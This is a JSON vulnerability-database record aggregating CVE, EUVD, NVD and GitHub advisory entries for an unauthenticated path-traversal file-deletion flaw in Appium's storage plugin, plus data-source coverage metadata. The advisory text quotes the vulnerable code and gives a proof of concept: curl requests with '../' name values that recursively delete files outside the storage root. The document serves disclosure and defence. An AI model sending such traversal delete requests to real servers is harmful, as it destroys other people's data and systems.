{"id":"EUVD-2026-42424","revision":null,"records":[{"revision":"b4bd9ccf0db64730ab0e8c40098e0cee","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-58192","aliases":[],"title":"Appium: Unauthenticated arbitrary file/directory deletion in @appium/storage-plugin","description":"Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 1.1.6, the Appium storage plugin exposes POST /storage/delete, whose handler passes the user-supplied name value directly into path.join(storageRoot, name) and fs.rimraf() without path sanitization, allowing an unauthenticated remote client to escape the storage root with ../ sequences and recursively delete arbitrary writable files or directories. This issue is fixed in version 1.1.6.","state":0,"publishedAt":"2026-07-08T20:56:30.81+00:00","modifiedAt":"2026-07-09T14:12:23.522+00:00","affected":[{"ecosystem":"Vendor product","name":"appium","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"appium\",\n                    \"product\": \"appium\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.1.6\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","score":8.6,"severity":"HIGH"}],"references":["https://github.com/appium/appium/security/advisories/GHSA-jwgx-mp9m-jwcr","https://github.com/appium/appium/pull/22362","https://github.com/appium/appium/commit/5fee01752f2782e96fbe64fd13520b433d4a7535","https://github.com/appium/appium/releases/tag/%40appium/storage-plugin%401.1.6"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-58192","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-58192","identifiers":["CVE-2026-58192"]},"retained":false,"historicalAffected":[]},{"revision":"7e61031015d64f3ab1a7baa90d4f97d1","observedAt":"2026-11-20T15:48:45.963+00:00","statement":{"source":"euvd","id":"EUVD-2026-42424","aliases":["CVE-2026-58192"],"title":"Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 1.1.6, the Appium storage plugin exposes POST /storage/delete, whose handler passes the user-supplied name value dir…","description":"Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 1.1.6, the Appium storage plugin exposes POST /storage/delete, whose handler passes the user-supplied name value directly into path.join(storageRoot, name) and fs.rimraf() without path sanitization, allowing an unauthenticated remote client to escape the storage root with ../ sequences and recursively delete arbitrary writable files or directories. This issue is fixed in version 1.1.6.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","score":8.6,"severity":null}],"references":["https://github.com/appium/appium/security/advisories/GHSA-jwgx-mp9m-jwcr","https://github.com/appium/appium/pull/22362","https://github.com/appium/appium/commit/5fee01752f2782e96fbe64fd13520b433d4a7535","https://github.com/appium/appium/releases/tag/%40appium/storage-plugin%401.1.6"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-42424","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jul 8, 2026, 8:56:30 PM","dateUpdated":"Jul 9, 2026, 2:12:23 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-42424","identifiers":["EUVD-2026-42424","CVE-2026-58192"]},"retained":false,"historicalAffected":[]},{"revision":"b07f57035b154a3ea0bf5443cfd754df","observedAt":"2026-11-20T15:48:14.466+00:00","statement":{"source":"nvd","id":"CVE-2026-58192","aliases":[],"title":"Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 1.1.6, the Appium storage plugin exposes POST /storage/delete, whose handler passes the user-supplied name value dir…","description":"Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 1.1.6, the Appium storage plugin exposes POST /storage/delete, whose handler passes the user-supplied name value directly into path.join(storageRoot, name) and fs.rimraf() without path sanitization, allowing an unauthenticated remote client to escape the storage root with ../ sequences and recursively delete arbitrary writable files or directories. This issue is fixed in version 1.1.6.","state":0,"publishedAt":"2026-07-08T21:16:52.15+00:00","modifiedAt":"2026-08-26T16:34:38.2+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","score":8.6,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H","score":10,"severity":"CRITICAL"}],"references":["https://github.com/appium/appium/commit/5fee01752f2782e96fbe64fd13520b433d4a7535","https://github.com/appium/appium/pull/22362","https://github.com/appium/appium/releases/tag/%40appium/storage-plugin%401.1.6","https://github.com/appium/appium/security/advisories/GHSA-jwgx-mp9m-jwcr"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-58192","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-22","CWE-73"],"productCriteria":["cpe:2.3:a:appium:appium\\/storage-plugin:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-07-08T21:16:52.150","lastModified":"2026-08-26T16:34:38.200"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-58192","identifiers":["CVE-2026-58192"]},"retained":false,"historicalAffected":[]},{"revision":"8905430f75a445fea84fe474d8f6219b","observedAt":"2026-11-20T15:46:21.829+00:00","statement":{"source":"osv","id":"GHSA-jwgx-mp9m-jwcr","aliases":["CVE-2026-58192"],"title":"appium allows unauthenticated arbitrary file/directory deletion in @appium/storage-plugin","description":"## Summary\n\nThe Appium storage plugin exposes an HTTP endpoint `POST /storage/delete` that takes a user-supplied `name` and deletes it from the server storage folder. The handler passes `name` straight into `path.join(storageRoot, name)` and then `fs.rimraf()` **without any path sanitization**. By sending a `name` containing `../` sequences, an unauthenticated remote client can escape the storage root and **recursively delete arbitrary files and directories** that the Appium process user can write, anywhere on the host filesystem.\n\nThe same plugin's *upload* path validates the name via `fs.sanitizeName` (`requireValidItemOptions`), but the *delete* path does not an asymmetry that makes the missing validation unambiguous.\n\n\n### Details\n\nPublished build (`node_modules/@appium/storage-plugin/build/lib/storage.js`), and source (`packages/storage-plugin/lib/`):\n\n- `packages/storage-plugin/lib/storage.ts:65-75` — `Storage.delete()`:\n  ```ts\n  async delete(name: string): Promise<boolean> {\n    if (name.toLowerCase().endsWith(TMP_EXT)) {\n      return false;\n    }\n    const destinationPath = path.join(this._root, name);   // <-- no sanitization\n    if (!(await fs.exists(destinationPath))) {\n      return false;\n    }\n    await fs.rimraf(destinationPath);                       // <-- recursive delete\n    return true;\n  }\n  ```\n- `packages/storage-plugin/lib/plugin.ts:77-83` — handler passes raw body:\n  ```ts\n  STORAGE_HANDLERS.deleteStorageItem = async function deleteStorageItem(req) {\n    return await executeStorageMethod(\n      async (storage) => await storage.delete(parseRequestArgs(req, ['name']).name),\n    );\n  };\n  ```\n`parseRequestArgs` (`plugin.ts:94-106`) only checks that the key exists; it does **not** validate the value.\n- Contrast — the upload path *does* sanitize: `storage.ts:53-54` `add()` →\n`requireValidItemOptions()` (`storage.ts:236-256`) rejects any `name` that differs from `fs.sanitizeName(name)`. `delete()` skips this entirely.\n\n### PoC\n\n1. Install and start the server with the storage plugin:\n   ```sh\n   npm install appium@3.5.0\n   ./node_modules/.bin/appium plugin install --source=npm @appium/storage-plugin\n   ./node_modules/.bin/appium --use-plugins=storage --address 127.0.0.1 --port 4723\n   ```\n(Default `--address` is `0.0.0.0`; `127.0.0.1` used here for a contained test.)\n\n2. Plant a victim file/dir outside the storage root, then delete via traversal:\n   ```sh\n   mkdir -p /tmp/pv_dir && echo SECRET > /tmp/pv_dir/important.txt\n   echo single > /tmp/pv_file.txt\n\n   curl -s -X POST http://127.0.0.1:4723/storage/delete \\\n     -H 'Content-Type: application/json' \\\n     -d '{\"name\":\"../../../../../../../../../../tmp/pv_file.txt\"}'\n   # -> {\"value\":true}\n\n   curl -s -X POST http://127.0.0.1:4723/storage/delete \\\n     -H 'Content-Type: application/json' \\\n     -d '{\"name\":\"../../../../../../../../../../tmp/pv_dir\"}'\n   # -> {\"value\":true}\n   ```\n\n<img width=\"2182\" height=\"678\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a4984132-3334-41c5-9a29-12ec59461d25\" />\n\n\n### Impact\n\nAn unauthenticated attacker who can reach the Appium HTTP port (network by default, or cross-origin via a victim browser due to default CORS + no auth) can recursively delete any file or directory writable by the Appium process user. On CI runners, device farms, and developer machines this enables destruction of source trees, build artifacts, SSH keys, configuration, or the OS user profile data loss and denial of service. Appium frequently runs with broad privileges on shared device-lab hosts, amplifying impact.","state":0,"publishedAt":"2026-11-20T14:34:30+00:00","modifiedAt":"2026-11-20T14:45:04.3460703+00:00","affected":[{"ecosystem":"npm","name":"@appium/storage-plugin","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.1.6"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/appium/appium/security/advisories/GHSA-jwgx-mp9m-jwcr","https://nvd.nist.gov/vuln/detail/CVE-2026-58192","https://github.com/appium/appium/pull/22362","https://github.com/appium/appium/commit/5fee01752f2782e96fbe64fd13520b433d4a7535","https://github.com/appium/appium","https://github.com/appium/appium/releases/tag/%40appium/storage-plugin%401.1.6"],"sourceUrl":"https://github.com/advisories/GHSA-jwgx-mp9m-jwcr","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-jwgx-mp9m-jwcr","identifiers":["GHSA-jwgx-mp9m-jwcr","CVE-2026-58192"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-20T21:47:54.8999438+00:00","complete":true,"records":1790,"lastAttemptAt":"2026-11-20T21:47:54.8999438+00:00","lastSuccessAt":"2026-11-20T21:47:55.096099+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:47:55.0960997+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-ab394367b327976f2e615091908e1dede6760751304792bb06c748f95767cbef-06458e1cc57802c5891e9ed128c2091e7fafc89eb0e76bf9a478b4f5a19e5b96","complete":true,"records":429984,"lastAttemptAt":"2026-11-20T21:46:07.9075861+00:00","lastSuccessAt":"2026-11-20T21:46:07.7897326+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:46:07.9075861+00:00","snapshotPublishedAt":"2026-11-20T21:19:23+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-e94511cbee314bc8a6f7f1c517971406","complete":false,"records":13914,"lastAttemptAt":"2026-11-20T21:48:48.3615466+00:00","lastSuccessAt":"2026-11-20T21:48:48.356+00:00","error":"52 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-20T21:48:48.356+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13910,"expectedIdentifiers":13962,"failedIdentifiers":52},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-20T21:47:54.8999438+00:00","complete":true,"records":1131,"lastAttemptAt":"2026-11-20T21:47:54.8999438+00:00","lastSuccessAt":"2026-11-20T21:47:55.0972032+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:47:55.0972036+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-70b73b30b06d4c579e9231c434b0bb26","complete":false,"records":13926,"lastAttemptAt":"2026-11-20T21:48:20.4042966+00:00","lastSuccessAt":"2026-11-20T21:48:20.4+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:48:20.4+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13944,"expectedIdentifiers":13962,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-a479762f093c173daaf94ab78c6e1c5dc2a2542cfb360d0428239181880c03b4","complete":true,"records":9988,"lastAttemptAt":"2026-11-20T21:47:54.8522629+00:00","lastSuccessAt":"2026-11-20T15:48:09.8429817+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:47:54.8522629+00:00","snapshotPublishedAt":"2026-11-20T15:18:25+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-6ba2352decd0c95d34a1b50f642582aa34659ce946f552488f0a5cea4e0cc09a","complete":true,"records":2020,"lastAttemptAt":"2026-11-20T21:46:07.9771913+00:00","lastSuccessAt":"2026-11-20T15:46:15.4249619+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:46:07.9771913+00:00","snapshotPublishedAt":"2026-11-20T14:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-0d57516b4a7264d7a3e50d41b832d65b6f43cdd6a79ce9e39aca7fd9f0df1b84","complete":true,"records":3208,"lastAttemptAt":"2026-11-20T21:47:54.8659527+00:00","lastSuccessAt":"2026-11-20T18:47:57.1855043+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:47:54.8659527+00:00","snapshotPublishedAt":"2026-11-20T17:03:30+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-6376b86631b8ab9df18a41f5f5342631b4c3060bd612e6b897303fe464a86a58","complete":true,"records":232843,"lastAttemptAt":"2026-11-20T21:47:54.7195057+00:00","lastSuccessAt":"2026-11-20T21:47:53.6119003+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:47:54.7195057+00:00","snapshotPublishedAt":"2026-11-20T21:33:24+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}